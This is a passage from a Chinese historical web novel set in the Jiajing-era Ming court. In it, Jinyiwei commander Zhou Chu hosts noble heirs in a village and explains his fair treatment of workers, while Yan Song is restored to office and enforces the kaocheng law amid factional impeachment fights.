即便只是明面上的信息,也看的朱显榕心惊肉跳,这位只比自己大了一岁的锦衣卫指挥使,经历甚至已经不能用波澜壮阔类形容了。 越是了解周楚的过往,朱显榕对周楚就越是崇拜,下意识的想和这位锦衣卫指挥使,将来必将名留青史的名臣走的近一些。 而且朱显榕很清楚,如今大明的朝局,已经逐渐明朗,海禁也是在周楚和皇帝的共同努力下才开启的,将来想在海上分一杯羹,和周楚搞好关系是很有必要的。 这一点,大多数世子郡主都没看明白,但朱显榕看的很清楚。 当然,除了朱显榕之外,其他世子之中也不缺聪明人,他们虽然了解的不像朱显榕这么详尽,却也清楚,和周楚搞好关系,总归是没有坏处的。 于是一个个纷纷站出来附和朱显榕和朱思莹的说法。 那几位和朱思莹抱有差不多心思的郡主眼看着这么多人都站了出来,心里哪还有什么顾虑,也跟着站了出来。 一时之间,居然有近二十位左右的世子郡主,想要去张家村居住。 “诸位,张家村不过是个山村,住的是土房子,床榻也和你们往日住的没法比,吃的更是乡野粗糠,无论是吃住,诸位恐怕都不会喜欢。” 周楚很清楚,这些人不过是一时新奇罢了,真要让他们住进张家村,恐怕住不了一天,大多数人都会后悔。 “无妨,周大人都可以习惯,我们自然也可以,正所谓天将降其大任于斯人也,必先苦其心志,劳其筋骨,饿其体肤,我等倒也不是一直养尊处优的。” 朱显榕满脸自信道。 “行吧,既然诸位坚持的话,本官也就不勉强了,要是谁不想在张家村住了,可以自行回到绍兴城。” 周楚有些无奈道。 如今的张家村经过扩建,房屋的数量比原本多了近一倍,完全容纳的下这些个世子公主。 听到这话,最高兴的就是朱思莹和沐云萍两人,朱思莹是因为离周楚近一些,沐云萍则是因为可以离云瑾近一些,她对云瑾只是单纯的崇拜加敬仰,毕竟像云瑾这样的女将军,她在很多土司倒也见过,但和云瑾一比,差了不知道多少。 周楚和云瑾率先离开了,朱显榕等人则在董瑞的亲自带领下,向张家村赶去。 “那个周大人到底是何方神圣?陆统领居然和他关系这么好?” 沐云萍一脸不解道。 她这话一出,不只是朱思莹,就连朱显榕都一副看乡巴佬的表情看着她。 沐云萍被众人的这副神情看的浑身不自在。 “我们沐王府在云南丽江,消息闭塞,很正常,有什么大惊小怪的。” 沐云萍略显不满道。 朱显榕听到这话,露出一副原来如此的表情。 “消息闭塞很正常,很多藩王府所处的地方都很闭塞,但既然来找周大人,又不事先了解,这难道不是一种倨傲吗?” 朱显榕看着沐云萍说道。 这话说的沐云萍哑口无言,不知道该如何反驳。 “你说得对,我确实没有做足准备。” 沐云萍不得不承认朱显榕说的很有道理。 “你说周大人凭什么让陆统领那种态度?其实你说反了。” 朱显榕对沐云萍的态度很是满意,开口解释道。 “为何这么说?” 沐云萍听到这话,愈发不解了。 “因为陆统领从小就是被周大人养大的,而且听说陆统领的兵法都是周大人一点点教的。” 朱显榕看着沐云萍,饶有深意道。 “什么!” 沐云萍听到这话,顿时惊住了。 第255章 严嵩官复原职,坐不住的毛纪和夏言 “周大人被上千人刺杀,逃出生天?” 沐云萍听到这话,愈发不淡定了,刚才听到朱显榕的那些话,已经不断地刷新着她对周楚的认知了,现在听到这话,她才明白,自己对这位锦衣卫指挥使的认知还是太过浅显。 “周大人做的事哪一件不是惊天动地?关于周大人的话本有很多,回头你可以买几本看一看就知道了。” 朱思莹满脸骄傲道。 朱显榕等人抵达张家村村口的时候,正好看到严世蕃蹲在地上斗蛐蛐玩,他们看着这个小黑胖子,顿时来了兴致。 “这个小黑胖子倒是有趣。” 朱显榕忍不住调侃道。 严世蕃之前是跟着周楚去董府的,朱显榕自然是认识他的,知道他是周楚的学生之一。 严世蕃听到有人叫他小黑胖子,刚想发火,抬头看到眼前的这些世子和郡主,原本到了嘴边的话瞬间咽了回去。 “诸位世子爷,郡主,赶紧请吧。” 严世蕃没好气道。 虽说严世蕃忌惮这些人的身份,但不代表严世蕃会对他们有好脸色,他严世蕃整个一个混不吝,胡宗宪等人之前天天打他都没把他打服,朱显榕等人的身份纵然尊贵,但严世蕃也明白眼前这些人影响不了自己老爹的仕途,自然没必要看他们的脸色。 严世蕃现如今只需要看一个人的脸色,那就是周楚,他很清楚,能决定自己老爹仕途的,只有周楚和皇帝,皇帝他是见不到的,只能跟着周楚混了。 他刚开始的时候对周楚还多有怨言,但随着在这里时间久了,他严世蕃又不傻,自然慢慢明白了周楚的用意,内心也就没那么抵触了,甚至对周楚生出了一股孺慕之情。 这种情绪出现的很突然,他对自己的亲爹严嵩都没有这种情绪,以前在家的时候,他还会经常跟严嵩抬杠,但面对周楚,他却是不敢的。 因为严嵩对他从不苛责,可谓是极尽宠爱,把他宠坏了,但周楚却不会惯着他,该打打该罚罚,正所谓棍棒底下出孝子,这句话在这个时代还是很对的。 周楚对严世蕃的教育,让严世蕃体会到了从未体会过的被约束,被管教的感觉,这种感觉他以往从未体验过,以前他想做什么就做什么,严嵩从不会怪罪他。 但这就让他有种自己的老父亲不怎么在意自己的错觉。 很多人下意识的认为,在意才会严加管教,很多人并不是喜欢被管教,而是需要被重视的感觉。 放纵很多时候代表无视,没有人喜欢被无视的感觉,很多小孩子很努力的做出很多事情,希望引起自己父辈的注意,但父辈却只是一味宠爱,无论他做了什么,都只是敷衍的夸赞。 这就让严世蕃一直以来找不到什么存在感,找不到成就感,他总觉得自己父亲对自己的夸赞太虚无缥缈,太敷衍,从未真正的看到自己优秀的地方。 自己的老师,锦衣卫指挥使周衡器则不然,虽然老师对自己极为严苛,该打打,该罚罚,但自己每次在某一方面做出一些成绩,老师都会不吝夸赞。 周楚对严世蕃的每一次夸赞,都让严世蕃如饮甘霖,神清气爽,甚至还会得意地看一眼胡宗宪等人。 这是他以前在严嵩那里从未体会过的感觉。 朱显榕等人听到这话,哈哈一笑,也没有和严世蕃继续逗闷子,纷纷进入张家村之中。 于周楚而言,这些世子郡主能来张家村体验一段时间,以后或许会对他们领地之中的百姓好一些,如此一来,倒也是好事。 因此,周楚并未让人对朱显榕等人格外照顾,吃的住的,都和胡宗宪等人一般无二,也和其他村民没什么区别。 这山里的环境,最适应的是沐云萍,因为沐王府所在的丽江,平均海拔两千多米,眼前这座山不过数百米,绍兴城之中空气太过潮湿,沐云萍很不适应,反而是这里,因为海拔高了一些,比城内干燥不少。 如今的江南,眼看着就要进入梅雨季节,很多处于西北地区的藩王对这种潮湿的天气很不适应,他们来到张家村之后,和沐云萍的感觉差不多,觉得比绍兴城内的气候要让人舒服很多。 此时的苏州府,大狱之中的严嵩迎来了京城宣旨的太监。 “严嵩接旨。” 太监右手高举着圣旨,尖声道。 严嵩听到这话,急忙跪倒在地。 “罪臣严嵩接旨。” “天子诏曰:朕任命卿统管江南省,然卿之所为,让朕很是失望,江南省出现此等上千反贼,令人发指,卿罪责难逃,然锦衣卫指挥使周衡器为卿求情,朕左思右想,网开一面,准卿官复原职,着严惟中统管江南省一应事务,效仿南直隶,推行考成法。” 太监宣完圣旨之后,一脸笑意的看着严嵩。 “严大人,恭喜您官复原职了。” 太监说着将圣旨递给了严嵩。 严嵩恭敬地用双手接过圣旨。 “托公公洪福,诸位随我去府上稍坐,我这身打扮实在是腌臜了些,公公切莫见怪。” 严嵩笑道。 “严大人哪里的话,我等随严大人走一趟便是了。” 太监跟着笑道。 太监很清楚,接下来严嵩自然少不了他们的好处费,严嵩官复原职,本就是大喜事,这趟于他而言,算是一趟肥差。 京城之中,嘉靖的这道圣旨发出去之前都是经过内阁拟定的,内阁的功能很多,其中一项就是替皇帝拟旨,宣发圣旨。 内阁甚至可以封驳皇帝的圣旨,这也是为何之前那么多皇帝斗不过内阁的根本原因所在。 不过现在的内阁并非铁板一块,整个内阁早已被嘉靖分化为三股势力,杨一清一派,杨慎一派,毛纪谢迁一派。 剩下的费宏则是谁的队伍都不站,只干自己该干的事,谁都不得罪。 对于严嵩的官复原职,杨一清和毛纪等人并不意外,毕竟周楚安然无恙的消息他们已经知道了,原本严嵩就是因为周楚的事下狱的,如今周楚无事,严嵩官复原职也就顺理成章了。 只是他们没想到皇帝让严嵩官复原职要做的居然是在江南省推行考成法。 对于这一点,杨一清倒是无所谓,他现在彻底躺平摆烂了,任皇帝怎么搞,他都无所谓,杨慎更是鼎力支持,毕竟考成法在南直隶初见成效,朝会之中关于南直隶考成法的讨论已经不止一次了。 这种利国利民的改革,杨慎自然是没有任何理由反对的。 谢迁其实也无所谓,到了他这个年纪了,这些事早就看淡了,不过他清楚,自己是无所谓,但江南一系的人可就有所谓了,自己作为江南一系的代表人物,自然要为他们争取。 最在意的便是毛纪,毛纪看到皇帝居然要在江南推行考成法,当时就提出了反对意见,甚至要内个票拟,试图封驳嘉靖的这道圣旨。 不过有杨一清杨慎在,这种票拟注定无疾而终,最终圣旨还是原封不动地到了苏州府。 但毛纪却是坐不住了,他很清楚,一旦考成法在江南彻底实行的话,他们江南一系的官员将会被彻底打散,所有官员为了做事,势必要和江南的士绅发生冲突,别的不说,要收税,自然就会有利益冲突。 到了那个时候,江南一系也就不攻自破了。 这绝不是毛纪,也不是夏言希望看到的。 “谢阁老,我等一起给江南的那些官员去一封信吧,让他们决不能执行考成法,正所谓法不责众,倘若都不执行,这考成法也就无疾而终了。” 下了差之后,夏言和毛纪来到了谢府,看着谢迁说道。 第256章 茫然无措的楚璃,朱显榕和严世蕃 楚璃在得知周楚被刺杀的消息的时候,整个人陷入了茫然无措之中,她下意识地想要寻找周楚的下落,于是便什么都顾不上了,开始四处寻找周楚。 楚璃记得很清楚,当初自己家遭逢大变的时候,自己整个人如同行尸走肉一般,不知所言,不知所行。 最初的那段时间,楚璃待在周楚的书房之中,整日浑浑噩噩,只有看到周楚的时候,才会下意识地靠近周楚。 周楚将她和楚辉祖两人从地狱之中捞了出来,那段时间,楚璃心中虽然没有任何情情爱爱的想法,却下意识地想要靠近周楚,似乎只有在周楚身旁,她才能感觉到一丝鲜活的气息,只有在周楚身边,她才感觉自己是安全的。 之后周楚提出教她经商之术,这让楚璃原本浑浑噩噩的灵魂再次恢复了清明。 如果说第一次周楚将她的肉体从地狱之中捞了出来,那么这一次就是将她的灵魂捞了回来,楚璃的七魂六魄才算归位。 自那以后,楚璃对周楚是百分之百的言听计从,她也不再肖想和周楚的情情爱爱,对她而言,能做好周楚安排的所有事,帮到周楚,就是她全部存在的意义。 人活着,总是要给自己找一些目标和意义的,楚家差点被灭门之后,楚璃信念崩塌,差点没了活下去的勇气,失去了活着的意义。 是周楚,帮她重塑了灵魂,自那之后,楚璃更像是一个没有感情的商人,不折不扣地执行着周楚的计划。 原本楚璃觉着自己应该已经不会再感受到其他情绪了,就这样也好,不会有痛苦,也不会因为谁而难过。 直到楚璃得知周楚被刺杀的消息之后,那种痛不欲生的感觉再次席卷了楚璃的身体和灵魂,楚璃想起了楚家遭逢大难得那个夜晚。 楚璃感到很恐慌,她已经失去了父母,她的弟弟楚辉祖活的好好的,将来光耀楚家门楣也不需要她去做,如今她活着的唯一动力,或者说这世上对她而言唯一的牵绊,只有周楚。 她害怕失去,害怕像当初楚家着火的那一晚一般,失去太多,那种感觉让她痛不欲生。 以前哪怕她和周楚之间没什么过多地交流,周楚更多的是在安排她做事,但楚璃能收到周楚的信息,能为周楚做事,内心就很安宁。 但周楚一旦出事,楚璃就会瞬间变得茫然无措,她只有一个目标,那就是找到周楚,确认周楚是死是活。 当时的楚璃只有一个想法,倘若周楚死了,那她活着也就毫无意义了。 直到她收到了周楚的信,确认了周楚还活着,原本楚璃茫然无措的心瞬间归了位,只要知道周楚还活着,她就不担心了,倒也不急着去见周楚。 只要能收到周楚的信,对楚璃而言,就很安心。 虽然楚璃很想不顾一切地去绍兴找周楚,但知道周楚还活着的楚璃,不会像之前那样对一切不管不顾了,她还得按照周楚安排的去做。 直到最近几天,周楚又给她来了一封信,让她前往绍兴。 楚璃收到这封信的时候,很是高兴,虽然她清楚,此时陆云瑾正在绍兴,她也清楚,将来能和周楚走到一起的,大概率就是这个女人,但楚璃对陆云瑾丝毫不嫉妒。 云瑾在苏州府做的一切,楚璃都是知道的,楚璃很清楚,自己只要能一直跟着周楚做事,就很满足了,周楚的能力超过自己太多,哪怕自己再怎么努力,也很难望其项背。 反而是陆云瑾,一直在追赶周楚的脚步,倘若楚璃和云瑾差不多,她还有信心和云瑾竞争一下,但楚璃很清楚,自己无论是身份地位,还是能力,和云瑾相比都差的太远。 楚璃甚至没有抬起头来直视云瑾,与其竞争的勇气。 楚璃害怕失去,所以对她而言,帮助周楚做事,也是另一种陪伴,她害怕自己去争的话,最后连陪伴周楚的资格都没有了。 楚璃不是不想争,她也是个女人,她只是害怕失去。 楚璃收到信之后,连马车都懒得坐,直接骑着一匹快马,直奔绍兴而去。 做生意这么久,楚璃早就学会了骑马,刚开始的时候到处奔波,她学会了很多东西。 苏州府距离绍兴府三百里左右,倘若坐船到余姚,再从余姚到绍兴,算起来还不如直接骑马直奔绍兴来得快。 楚璃抵达张家村的时候,朱显榕等人正在地里干着农活,这两日的劳作,让不少世子和郡主后悔来了张家村,直接返回了绍兴城,住进了董府。 这些世子和郡主的到来,如果说对谁的冲击最大,那无疑是董舒儿,她怎么都没想到,那些藩王的世子和郡主,居然心甘情愿来这里过这种苦日子。 同时董舒儿也感到很难堪,毕竟原本她在张家村的事,只有周楚的人和那些学院的学生知道,现在这些世子和郡主也都知道了,虽说以她的身份入不了朱显榕等人的眼,但董舒儿还是觉得很难堪。 好在此时春兰等人早已来到了张家村,周楚倒也不需要她在身边伺候了,便让她和那些受不了的世子郡主们一同回董府去了。 董舒儿顿时如蒙大赦,自从知道周楚对她毫无想法之后,她在张家村的每一刻都是煎熬,偏偏她还不敢主动提出离开,毕竟她爹董瑞的仕途全系于她一身。 此时听到周楚放她离开了,董舒儿这才松了口气,她是一刻也不想在张家村待了,在这里洗澡都费劲,她现在十分怀念以前在董府的生活,恨不得瞬间飞回董府。 那些世子郡主大概离开了一半,还有一半留了下来,留下的这些人之中,基本都是冲着和周楚搞好关系来的,当然,也有些干着干着农活干出兴趣的,想要继续体验这种生活。 毕竟这种生活他们在藩王府从未体验过,每次干完活,酣畅淋漓出了一身汗,然后感到无比饥饿,吃什么都觉得是美味的感觉让他们很是沉醉。 不过这种人毕竟是少数。 朱显榕就是留下来的人之一,他的目标十分明确,就是和周楚这位锦衣卫指挥使关系走的近一些,他也不像离开的那些人,一点苦都受不了。 早在一年前,他就开始接手楚王府的一些生意了,对于楚王府的一切,他都很了解,属于很有能力有抱负的世子之一。 朱显榕干完农活,擦了擦额头的汗,来到地头,看了一眼正在斗蛐蛐的严世蕃。 “小黑胖子,你这天天斗蛐蛐,活干完了吗?” 严世蕃瞥了一眼朱显榕,继续斗蛐蛐。 “废话,干不完没饭吃,你说呢。” 这两天严世蕃也摸清楚了朱显榕的脾气,倒也不像刚开始见他的时候那般拘谨了。 “你这爱好倒是和宣宗有些相似。” 朱显榕说着低头靠近地上的两只蛐蛐,看了半天没看出个所以然。 “这俩蛐蛐有啥不一样吗?” 朱显榕有些不解道。 “一看你就什么都不懂,这个叫大将军,厉害得紧,打了十几场,一场未败,另外一个不太行。” 严世蕃一听这话,顿时来了兴致,向朱显榕显摆道。 朱显榕听到这话,再次看向两个蛐蛐,慢慢地看出了一些端倪。 “这大将军够厉害的,另外一个要不行了。” 朱显榕一边看,一边说道。 朱显榕正说着呢,抬头看到村头出现一个熟悉的人影,他有些不太确信,仔细看了看。 “黎老板怎么会出现在这里?” 朱显榕有些不解道。 第257章 朱显榕的震撼,周楚:我不过是把他们当人罢了 去年的时候,他刚开始打理楚王府的生意,跟着楚王府的管事去苏州府谈白糖和玻璃的经销权,正是那个时候,朱显榕认识了黎星若。 那时候的黎星若,就已经是闻名天下的女商人了,朱显榕对黎星若惊为天人,觉得世上怎么会有这种奇女子,甚至生出想要跟黎星若学习经商的想法。 此时看到黎老板突然出现在了村口,朱显榕的好奇心被勾了起来,放下了农具,下意识地来到楚璃面前。 “黎老板,好久不见了。” 朱显榕打招呼道。 楚璃看到朱显榕也在张家村,有些意外,她想不明白这位楚王府的世子爷怎么会出现在这里,不过楚璃对此丝毫不关心。 “好久不见,世子。” 楚璃淡然回复道。 楚璃说完这话,便不再搭理朱显榕,在玄武军的指引下,直奔周楚的住处而去。 朱显榕很是好奇,于是就跟了上去。 朱显榕来到周楚院子外的时候,看到楚璃正在和周楚说着什么,楚璃脸上的神情,是他从未见过的,他眼中的这个奇女子,看着周大人的眼神,似乎充满了依恋? 朱显榕不敢相信自己的眼睛,要知道黎老板在整个江南,甚至整个大明都是鼎鼎有名的,多少大商人想要见这位奇女子一面而不得,无数商人为了争夺白糖和玻璃器的经销权,争的头破血流。 所有人都在猜测,这位奇女子手里到底有多少钱,甚至很多人觉得她很可能富可敌国。 不过很奇怪,这个奇女子掌握着这么多的资源和金钱,却没人敢打她的主意,那些当官的更是一个都不敢。 这一幕不只是那些商人好奇,朱显榕也好奇,他一直都想知道,这位黎老板背后的靠山究竟是谁。 直到此刻,朱显榕才恍然大悟,原来这位黎老板,一直都是周大人的人。 这一刻,周楚在朱显榕眼里的形象瞬间被无限拔高,他看到周楚看向自己的时候,下意识地低下了头,甚至不敢直视周楚的目光。 朱显榕从小就很骄傲,觉得同辈之中很少有人能比得过自己,直到前段时间知道了周楚的所有事,他才明白自己和周楚之间的差距有多大。 但直到此刻,朱显榕终于意识到,以前自己掌握的关于周楚的事,恐怕还只是冰山一角,这位锦衣卫指挥使,远比自己想象的要强大的多,恐怖的多。 周楚强大到朱显榕甚至一点和他比较的心思都没有,强大到以他一个楚王府世子的身份,居然有种不敢直视这个同龄人的感觉。 “世子,有什么事吗?” 周楚冲朱显榕招呼道。 “周大人,我和黎老板相识,去年我接管了楚王府的生意,去苏州府和黎老板谈了糖霜和琉璃器的经销权,看到黎老板,忍不住好奇,就跟了过来。” 朱显榕倒也坦荡,说道。 周楚听到这话,并不意外,以朱显榕表现出来的气度和才能,这个年纪接管楚王府的生意并不意外,毕竟世子将来是要袭爵的,提前接管一些楚王府的事物,锻炼一下能力也在情理之中。 “那正好,我正想让楚璃主持徐州府煤矿的事宜。” 周楚笑道。 “楚璃?” 朱显榕一脸疑惑道。 “楚璃是她真正的名字,黎星若不过是个化名,她一直在为我做事。” 周楚说道。 朱显榕听到这话,瞬间恍然,很多事瞬间就想明白了。 “周大人手下能有黎老板这样的能人,真是让人羡慕。” 朱显榕发自内心道。 楚璃听到这话,摇了摇头。 “世子爷搞错了,我所会的一切,都是衡器教的,不是我是能人,而是衡器厉害,没有我,他同样可以教出来其他人帮他做事。” 楚璃忍不住为周楚说话道。 朱显榕听到这话,心中大为震撼,满脸不可置信地看向周楚。 尽管他已经很高估眼前的这位周大人了,但他发现自己一直都在低估,或者说一直都没有看清楚这位同龄人的全貌。 朱显榕只是看了周楚一眼,即便周楚神态从容,满脸笑容,朱显榕也感到了很大的压力,急忙挪开视线。 “有件事我很好奇,想请教周大人。” 此时知道黎星若背后是周楚的时候,朱显榕忍不住想要问自己心中一直以来的一个疑惑。 “世子说吧,能回答你的,本官尽量回答。” 周楚笑道。 “据我所知,黎老板手下的产业,无论是布庄,亦或是其他的,那些工人的工钱都是出奇的高,是其他地方工人工钱的三四倍,甚至五六倍,周大人为何会这么做?” 这个问题朱显榕想了很久,原本想着再见到楚璃的时候问她,此时知道楚璃的一切都是周楚教的,就忍不住问正主了。 “因为本官把他们当人,而不是当成骡马。” 周楚云淡风轻道。 朱显榕听到这话,浑身一震,满脸不可置信地看向周楚。 自古以来,无论是统治者,亦或是士绅阶层,从未真正的把底层百姓当回事,朱显榕的思维模式,和这些人一般无二,他其实也没把底层百姓真正当回事,所以才会有这种疑惑。 “世子可能不知道,但凡是跟着我们干的工人,不只是工钱高这么简单,每日只需要干满四个时辰即可,而且每个月至少要有八天的休沐时间,工钱照发。” 周楚继续说道。 朱显榕听着周楚侃侃而谈,眼中全是不可置信的表情。 “如此,周大人如何盈利?” 朱显榕愈发想不明白。 “能不能盈利,从来都不是靠克扣工人的工钱的,只要生意做得好,利润够高,即便给工人很多工钱,我赚的仍然很多,而且世子应该知道,楚璃手下的产业,无论任何一样,从不掺假,从不以次充好,都是用最好的东西,而且一旦有问题,随时可以解决。” 周楚从容道。 朱显榕听到这话,点了点头,这些他是了解的,也正是因此,整个江南无数百姓现在都只认黎老板的铺子,但凡是黎老板的铺子,每天人流量都极为恐怖,很多东西不到半日就被抢购一空。 这一点,正是朱显榕敬佩楚璃的地方,无奸不商,很少有商人不缺斤少两的,更不用说以次充好这种常用的手段了,甚至很多行业都有不为人知的秘密。 但黎老板所有的铺子,都是公开透明的,朱显榕特意观察过,他甚至怀疑过,这么做生意,真的能赚到钱吗? 直到他看到越来越多的百姓只认黎老板的铺子之后,无比佩服。 “世子爷,你在这张家村也待了两日了,应该看明白一个道理,无论是农户,亦或是那些工人,都有自己的生活,都有自己的家人,说白了和你我没什么不同,所谓的不同不过是出身和身份的差距罢了。” 周楚看着朱显榕,罕见的认真了起来,周楚希望自己说的这些话,朱显榕能听进去,那样的话,对楚王府封地内的百姓,将是一件好事。 朱显榕听到这话,若有所思,开始回想自己这两天的遭遇。 第258章 严嵩推行考成法,江南官员的冲突 严嵩官复原职之后,便开始在从苏州府开始,逐步向整个江南省推行考成法。 如果说考成法在南直隶只是试水的话,那么在江南省的实行才是对江南的士绅和官员图穷匕见。 实际上南直隶和江南省的分割没那么明显,毕竟在王阳明上任南直隶巡抚之前,南直隶的很多事务都是前任江南省巡抚崔文奎一手抓的。 不过江南一系的官员毕竟对南直隶有些鞭长莫及,再加上南直隶刚开始实行考成法的时候,正是周楚在江南省大杀四方的时候,那些官员和士绅一个个都恨不得缩起来,没人敢搞事情,所以南直隶的考成法总体实行的还是很顺利的。 张璁和严嵩相比,无疑要幸运一些,毕竟考成法的顺利实行,于张璁而言是一笔很大的政绩,如今南直隶的所有官员虽然工作强度大了不知道多少倍,但相应的俸禄也跟着提升了很多。 原本大明官员的俸禄就很低,洪武年间,朱元璋制定官员俸禄的时候,算的差不多,觉着官员都是够花的。 但这其中存在很多问题,任何一个官员,除了要负担一家老小的开支之外,还有很多地方要花钱,比如一个七品的县令,出行该坐什么规制的轿子,都是有着严格的规定的。 轿子钱,轿夫的月钱,都是要县令自掏腰包的,除了这些之外,一个县令还有很多其他的开支,如此一来,单靠俸禄,是远远不够的。 于是大明就出现了一个奇怪的现象,即便洪武年间朱元璋杀了无数的贪官污吏,杀了无数的前元旧臣,贪官仍然像野草一般,割了一茬又长出来一茬,怎么杀也杀不尽。 纵观历史,站在人民史观角度的皇帝不多,洪武皇帝朱元璋绝对是其中的佼佼者之一。 他创立了很多制度,鼓励民告官,甚至鼓励底层百姓用暴力手段对抗贪官污吏。 但很多事就是这样,发心是好的,弄到最后却因为历史的修正性,往往事与愿违。 官员的俸禄就是其中典型的代表,这么低的俸禄,如果一点都不贪,大部分官员甚至连自己一家人的生活都没办法保证,于是贪污的官员只能越来越多。 给与官员相对高的俸禄,不一定能保证大部分官员不贪,但最起码能让那些原本想为大明做事,为百姓做事的官员坚守本心。 即便是那些在犹豫要不要贪污的官员,现如今有了这么高的俸禄,也要考虑贪污之后的成本,会不会因此丢官罢职,值得值得。 底线提高了,就没那么容易被突破了。 所以整个南直隶,大部分官员对张璁都是心怀感激的,特别是那些原本还在坚守底线的少部分官员,还有那些没什么油水的职位,这些人对张璁可以说是感激涕零。 另外一部分则是那些在摇摆的官员,或者说只是偶尔贪了一点点,整日提心吊胆的,这部分人有很多下定了决心,以后再也不贪了,当然,多少人能坚持,就不好说了。 严嵩把考成法的细则向下面的官员宣布之后,整个江南省的官员都炸锅了。 如今的江南省,虽然不像之前那般基本都是江南一系的官员,但也有一大半都是,去年的时候周楚查办了很多官员,也有很多官员死于倭寇之手,但后续补上来的官员仍然不可避免的会有很多江南一系的官员。 这是在所难免的,整个江南,或者说整个南方士族,都已经研究透了大明的科举,甚至有点类似于后世的培训班,对于科举的研究可以说是相当的深入。 这种情况下,江南的参加科举的仕子,和这些江南士族之间的关系可谓是错综复杂,交织成了一个巨大的关系网,一旦进了这张网之中,不是说你想要抽身,就可以离开的。 也没什么人愿意离开,毕竟入朝为官,有关系和没关系区别有多大,很多人都是清楚的。 当然,周楚做的那些,也不是一点效果都没有,最起码如今的江南,还是有一部分官员已经不是江南一系的了,这部分官员是严嵩和朝廷的基本盘,也是严嵩在江南省权力能延伸下去的关键所在。 这部分人对于严嵩的政令自然是无条件的支持,虽然考成法让他们的工作强度增加了,但有着南直隶这个先例摆在那,大家都清楚,考成法推行开之后,他们的俸禄都会跟着水涨船高,甚至年底还会有额外的奖励。 如果能靠着俸禄买房置地,很多官员都可以坚守本心。 这些人愿意,不代表江南一系的那些官员愿意,一旦考成法实行开来,他们就不得不努力干事,倘若有积累的事务没做完,月底清查的时候,就会被记录在案。 多来几次,别说俸禄了,官职都保不住。 如此一来,他们就不得不向江南的士绅收税,和那些士绅走向对立面,这是一个阳谋,除非那些士绅能和官员真正的做到一条心,完全的配合他们。 不过人人都有私心,从这些人手里把稅收齐,无异于用刀子从他们身上割肉,即便他们之间不会决裂,也会生出嫌隙。 这就是周楚和嘉靖要在江南实施考成法的另一个原因,斩断江南一系的根基。 特别是他们都收到了毛纪和谢迁等人的密信,让他们无论如何都要阻止考成法的实施,于是严嵩宣布考成法之后,无数官员纷纷来到严嵩的衙署,联名抗拒考成法。 “严大人,我等都是这么过来的,历朝历代也没听过什么考成法,严大人这不是在瞎折腾吗?” 一个江南省从三品的官员站了出来,义正言辞道。 他的身后站着无数官员,这才是他敢于和严嵩正面硬刚的底气。 “考成法并非严某得意思,乃是朝廷的旨意,南直隶早一步先行实行了考成法,事实证明,完全是行得通的,张大人,你这般做派,莫非是要和朝廷和陛下作对不成?” 如今的严嵩可不是几年前的严嵩,自然不会被眼前的局面给唬住,他看着为首的那个官员,痛斥道。 那人听到这话,又被严嵩的气势所慑,顿时气息一窒,一时之间居然不知道该如何反驳。 “严大人修要顾左右而言他,南直隶是南直隶,江南省是江南省,这个劳什子考成法能在南直隶实行,不代表适合江南省。” 另外一个官员站了出来,说道。 “哦?那究竟是哪里不适合江南省,本官倒是想好好听李大人说出个所以然来。” 严嵩一副洗耳恭听的模样道。 严嵩并不是孤军奋战,这些官员围攻严嵩衙署的消息传开之后,无数站在严嵩这边的官员纷纷赶来,和江南一系的官员展开了口水大战。 到了最后,双方的官员哪还讲什么道理,根本就是在骂街。 这场辩论最终无疾而终,考成法仍然要继续实施。 不过江南一系的官员却不准备按照考成法去做,他们准备集体给严嵩点颜色瞧瞧,同时这些官员纷纷写奏疏,弹劾严嵩的种种罪名。 这些奏疏如同雪花一般,飘向京城,进入内阁。 “最近弹劾严惟中的折子突然多了这么多。” 内阁衙署,杨一清看着案牍上的奏折,略带调侃道。 这种局面他早就预料到了,随着考成法的实行,那些官员能坐的住才是咄咄怪事。 “那只能说明严惟中不得人心,胡作非为。” 毛纪冷哼一声道。 “毛大人这话未免有失偏颇,你我都知道,这些弹劾严大人的奏折,不过是因为严大人在推行考成法罢了,当初南直隶试行考成法的时候,弹劾阳明先生的折子还少吗?” 杨慎瞥了一眼义愤填膺的毛纪,冷笑道。 “杨大人此言差矣,严惟中如何能和阳明先生相比?更何况南直隶推行考成法是对是错,犹未可知。” 毛纪丝毫不让道。 “好了,两位不必争吵了,选出其中一些有代表证的奏折,呈到御前即可,严惟中有没有错,还得经过朝堂论断。” 谢迁如同一个行将就木的老人,一句废话都懒得多说,不过一旦说了话,其他人都还是很尊重他的意见的。 “那就拟票吧。” 杨一清附和道。 第259章 被吓坏了的严嵩 第二日朝会,嘉靖看着下方的一众臣子,特别是杨一清和谢迁,看着这俩老头年纪这么大还要起这么早上早朝,嘉靖觉得这两人有些可怜,不过一想年纪大的人觉都很少,顿时觉得也没那么可怜了。 “昨日内阁呈上来的奏折之中,有不少都是弹劾严惟中的,诸位对于严惟中此人,有何看法?” 嘉靖看着文武百官,问道。 “臣听闻这个严惟中在江南横征暴敛,可谓是一手遮天,无所不用其极。” 毛纪首先站出来说道。 这话当然大部分都是虚构和夸张的,所以毛纪很严谨的用了听闻一词,如此一来,即便事后证明毛纪在胡说八道,他也完全有说辞。 “是啊陛下,臣也曾听闻,这严惟中在江南才一年出头,就置办了一处极大的宅子,七进的宅子,里面的布置极其豪华,要说他严惟中没有搜刮民脂民膏,臣是不信的。” 夏言附和道。 “毛大人和夏大人还真是会信口开河,什么时候对一个官员的评价可以如此不负责任了?听闻?两位大人可有实质证据?对于一个封疆大吏,如此虚浮的言论,难道是我等该说的吗?” 杨慎出列道。 “陛下,既然如此多的奏折弹劾严惟中,那就派人去调查一下,查清楚奏折之中所言是否属实,倘若属实,该如何查办就如何查办,不属实,也能还严惟中一个清白。” 杨一清眼看着杨慎和毛纪等人要吵起来,直接出列,制止了两人的争论,也算是对两人的话做了一个总结。 “这才是老成谋国的话,看看,不愧是石淙,毛爱卿,夏爱卿,朕以后不希望在听到听闻这种词汇,要么是确定的消息,要么有确定的证据,不然只是听闻就对一个实心任事的官员进行攻讦,有些不妥吧?” 嘉靖看着毛纪和夏言,面色不悦道。 对于嘉靖的话,毛纪和夏言并不意外,他们很清楚,严嵩在为皇帝办事,皇帝不可能不保他。 这些弹劾严嵩的奏疏能起作用最好,起不了作用也没什么。 他们今日说这些话,是代表着他们的立场和身份,反正在考成法这件事上,他们终究是要和皇帝站在对立面的,皇帝说他们两句,不痛不痒,作为在官场混迹了不知多久的两人而言,这话毫无杀伤力。 “既然如此,告诉周衡器,让他派人好好调查一下严惟中,朕也是这两日才知道,周衡器安然无恙。” 嘉奖煞有介事道。 谢迁进京的时候,嘉靖就清楚周楚的下落是瞒不住的,所以干脆顺水推舟说了出来。 听到这话,毛纪和夏言等人心说这话骗谁呢,不过面上却是一副原来如此的表情。 